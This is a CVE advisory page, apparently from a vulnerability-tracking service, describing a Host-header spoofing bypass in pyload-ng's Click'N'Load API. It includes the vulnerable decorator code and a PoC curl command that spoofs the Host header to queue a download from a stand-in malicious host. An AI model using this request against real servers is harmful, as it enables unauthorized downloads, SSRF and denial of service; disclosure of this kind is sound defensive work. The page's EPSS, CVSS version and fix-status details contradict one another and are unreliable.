CVE-2026-33314

MEDIUMPre-NVD 6.56.5
EchelonGraph scoreMEDIUM confidence

This medium-severity CVE scores 6.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 98% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
6.5
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: 0%CVSS: 6.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Improper Authentication and Origin Validation Error in pyload-ng

Summary

A Host Header Spoofing vulnerability in the @local_check decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS).

Details

The pyload WebUI provides an API for the Click'N'Load plugin, which is intended to be accessed only from the local machine (e.g., via a browser extension sending requests to localhost:9666). To enforce this, the pyload application uses a @local_check decorator on the relevant routes in src/pyload/webui/app/blueprints/cnl_blueprint.py.

However, the @local_check implementation relies on the user-controlled HTTP_HOST (derived from the HTTP Host header) to verify the origin:

# src/pyload/webui/app/blueprints/cnl_blueprint.py
def local_check(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
        http_host = flask.request.environ.get("HTTP_HOST", "0")

if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in ( "127.0.0.1:9666", "[::1]:9666", ): return func(*args, **kwargs) else: return "Forbidden", 403 return wrapper

Because http_host is read directly from the Host header of the HTTP request, an external attacker can easily spoof this header (e.g., Host: 127.0.0.1:9666). When this spoofed header is present, the condition http_host in ("127.0.0.1:9666", ...) evaluates to True, completely bypassing the IP address check (remote_addr) and granting access to the protected functions.

The affected routes are:

  • /flash/ and /flash/
  • /flash/add
  • /flash/addcrypted
  • /flash/addcrypted2
  • /flashgot and /flashgot_pyload
  • /flash/checkSupportForUrl

PoC

  • Ensure the PyLoad instance is running and accessible externally.
  • Ensure the ClickNLoad plugin is enabled in the PyLoad settings (it evaluates to disabled by default).
  • Send a POST request to one of the protected endpoints, such as /flash/add, and spoof the Host header to 127.0.0.1:9666.

Example curl command:

curl -i -X POST "http://:/flash/add" \
     -H "Host: 127.0.0.1:9666" \
     -d "urls=http://malicious.com/payload.bin" \
     -d "package=MaliciousPackage"
  • Notice that you receive a success\r\n response instead of a 403 Forbidden. The package and URL will be successfully added to the PyLoad queue.

Impact

This vulnerability allows unauthenticated attackers to interact with the Click'N'Load API. Attackers can arbitrarily add URLs to the download queue, which forces the PyLoad server to make outbound requests to attacker-controlled or internal URLs (SSRF). Attackers can also exhaust the server's storage or bandwidth by queueing massive files (DoS).

CVSS v3
6.5
EG Score
6.5(medium)
EPSS
8.0%
KEV
Not listed

Published

March 19, 2026

Last Modified

March 19, 2026

Vendor Advisories for CVE-2026-33314(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
pyload-ng0.5.0a5.dev528 ... 0.5.0b3.dev96 (101 versions)0.5.0b3.dev97

Data Freshness Timeline

(refreshed 9× in last 7d / 41× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-12 05:46 UTCEPSS rescore
  2. 2026-07-11 08:27 UTCEPSS rescore
  3. 2026-07-09 19:10 UTCEPSS rescore
  4. 2026-07-08 15:15 UTCEPSS rescore
  5. 2026-07-07 13:46 UTCEPSS rescore
  6. 2026-07-06 16:27 UTCEPSS rescore
  7. 2026-07-06 16:27 UTCEPSS rescore
  8. 2026-07-06 02:23 UTCEPSS rescore
  9. 2026-07-06 02:23 UTCEPSS rescore
  10. 2026-07-05 02:30 UTCEPSS rescore
  11. 2026-07-04 06:31 UTCEPSS rescore
  12. 2026-07-01 15:06 UTCEPSS rescore
  13. 2026-06-30 23:22 UTCEPSS rescore
  14. 2026-06-29 14:06 UTCEPSS rescore
  15. 2026-06-29 14:06 UTCEPSS rescore
  16. 2026-06-28 14:07 UTCEPSS rescore
  17. 2026-06-28 14:07 UTCEPSS rescore
  18. 2026-06-28 04:56 UTCEPSS rescore
  19. 2026-06-28 04:56 UTCEPSS rescore
  20. 2026-06-27 03:08 UTCEPSS rescore
  21. 2026-06-25 13:49 UTCEPSS rescore
  22. 2026-06-25 13:49 UTCEPSS rescore
  23. 2026-06-24 14:05 UTCEPSS rescore
  24. 2026-06-23 21:33 UTCEPSS rescore
  25. 2026-06-23 21:33 UTCEPSS rescore
Show 22 more
  1. 2026-06-22 14:25 UTCEPSS rescore
  2. 2026-06-22 14:25 UTCEPSS rescore
  3. 2026-06-21 14:56 UTCEPSS rescore
  4. 2026-06-21 14:56 UTCEPSS rescore
  5. 2026-06-21 01:59 UTCEPSS rescore
  6. 2026-06-19 19:25 UTCEPSS rescore
  7. 2026-06-19 19:25 UTCEPSS rescore
  8. 2026-06-18 17:52 UTCEPSS rescore
  9. 2026-06-18 17:52 UTCEPSS rescore
  10. 2026-06-17 17:53 UTCEPSS rescore
  11. 2026-06-16 17:52 UTCEPSS rescore
  12. 2026-06-15 17:49 UTCEPSS rescore
  13. 2026-06-14 23:18 UTCEPSS rescore
  14. 2026-06-13 23:00 UTCEPSS rescore
  15. 2026-06-12 23:12 UTCEPSS rescore
  16. 2026-06-12 23:12 UTCEPSS rescore
  17. 2026-06-11 23:44 UTCEG score recompute
  18. 2026-06-11 14:00 UTCEPSS rescore
  19. 2026-06-10 22:18 UTCEPSS rescore
  20. 2026-06-10 13:22 UTCEPSS rescore
  21. 2026-06-10 01:50 UTCEG score recompute
  22. 2026-06-08 19:42 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-33314?
CVE-2026-33314 is a medium vulnerability published on March 19, 2026. Improper Authentication and Origin Validation Error in pyload-ng Summary A Host Header Spoofing vulnerability in the @local_check decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to…
When was CVE-2026-33314 disclosed?
CVE-2026-33314 was first published in the National Vulnerability Database on March 19, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-33314 actively exploited?
CVE-2026-33314 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 8.0% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-33314?
CVE-2026-33314 has a CVSS v4.0 base score of 6.5 (CNA self-assessment; NVD's own analysis pending).
How do I remediate CVE-2026-33314?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-33314, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-33314

Explore →

Is Your Infrastructure Affected by CVE-2026-33314?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.